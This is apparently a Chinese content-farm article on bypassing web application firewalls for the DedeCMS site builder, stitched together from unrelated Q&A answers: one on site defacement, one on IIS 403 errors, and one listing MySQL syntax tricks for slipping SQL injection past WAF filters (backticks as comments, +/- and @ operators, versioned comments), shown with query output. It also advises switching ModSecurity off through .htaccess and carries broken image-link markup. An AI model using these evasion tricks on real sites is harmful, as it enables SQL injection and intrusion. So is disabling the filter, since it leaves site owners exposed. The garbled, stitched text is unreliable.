很多站长朋友们都不太清楚dedecms绕过WAF，今天小编就来给大家整理dedecms绕过WAF，希望对各位有所帮助，具体内容如下：
本文目录一览： 1、 网站安全问题：本人用dedecms织梦系统建站，但是每天被黑客挂黑页，有什么方法防御没。 2、 黑客是怎么绕过waf的 3、 打开网址出现403 Forbidden 怎么解决？ 网站安全问题：本人用dedecms织梦系统建站，但是每天被黑客挂黑页，有什么方法防御没。织梦的系统安全配置你可以去看一下。如果全部配置好之后应该还算是安全的，另外你要检查一下你的代码，看有没有一些木马，全部去除掉。还有的就是自己换一台好的主机，要不然别人通过旁注还是可以黑你的网站。
黑客是怎么绕过waf的ps1: 神奇的 ` (格式输出表的那个控制符)
过空格和一些正则。
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
一个更好玩的技巧，这个`控制符可以当注释符用（限定条件）。
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
usage : where id ='0'`'xxxxcomment on.
tips2:神奇的- + .
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
（有些人不是一直在说关键字怎么过？过滤一个from ... 就是这样连起来过）
tips3: @
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
这个是bypass 曾经dedeCMS filter .
或者这样也是ok.
tips4：mysql function() as xxx 也可以不用as 和空格
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
tips5:/*![>5000]*/ 新构造 版本号（这个可能有些过时了。）
mysql> /\*!40000select\*/ id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
或者直接用工具
打开网址出现403 Forbidden 怎么解决？1.首先，打开控制面板，选择系统和安全。点击进入后，点击管理工具，进入管理工具界面。
/iknow-pic.cdn.bcebos测试数据/37d3d539b6003af3af785319382ac65c1138b68d"target="_blank"title="点击查看大图"class="ikqb_img_alink">/iknow-pic.cdn.bcebos测试数据/37d3d539b6003af3af785319382ac65c1138b68d?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/>
2.然后点击Internet信息服务(IIS)管理器，进入IIS配置界面。
/iknow-pic.cdn.bcebos测试数据/c83d70cf3bc79f3d01966a49b7a1cd11728b2950"target="_blank"title="点击查看大图"class="ikqb_img_alink">/iknow-pic.cdn.bcebos测试数据/c83d70cf3bc79f3d01966a49b7a1cd11728b2950?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/>
3.随后在功能视图下，点击浏览目录，
/iknow-pic.cdn.bcebos测试数据/00e93901213fb80ecc3deeae3bd12f2eb83894df"target="_blank"title="点击查看大图"class="ikqb_img_alink">/iknow-pic.cdn.bcebos测试数据/00e93901213fb80ecc3deeae3bd12f2eb83894df?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/>
4.然后在右边会出现操作提示，点击打开功能。
/iknow-pic.cdn.bcebos测试数据/8644ebf81a4c510f5cf96c636d59252dd42aa58e"target="_blank"title="点击查看大图"class="ikqb_img_alink">/iknow-pic.cdn.bcebos测试数据/8644ebf81a4c510f5cf96c636d59252dd42aa58e?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/>
5.最后，点击启用即可。
/iknow-pic.cdn.bcebos测试数据/8435e5dde71190efb4e51ca6c31b9d16fdfa60a9"target="_blank"title="点击查看大图"class="ikqb_img_alink">/iknow-pic.cdn.bcebos测试数据/8435e5dde71190efb4e51ca6c31b9d16fdfa60a9?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto"esrc=""/>
扩展资料：
HawkHost空间出现403Forbidden原因：在共享服务器上安装了MOD，全称Modsecurity，当网址包含有“%”号等其它敏感字符时，就会被Modsecurity阻止。
解决HawkHost403Forbidden错误的方法：在.htaccess文件里添加如下代码：
SecFilterEngineOff
SecFilterScanPOSTOff
直接放在网站的根目录或者程序运行的目录下。
关于dedecms绕过WAF的介绍到此就结束了，不知道本篇文章是否对您有帮助呢？如果你还想了解更多此类信息，记得收藏关注本站，我们会不定期更新哦。
查看更多关于dedecms绕过WAF dedecms文章跳转的详细内容...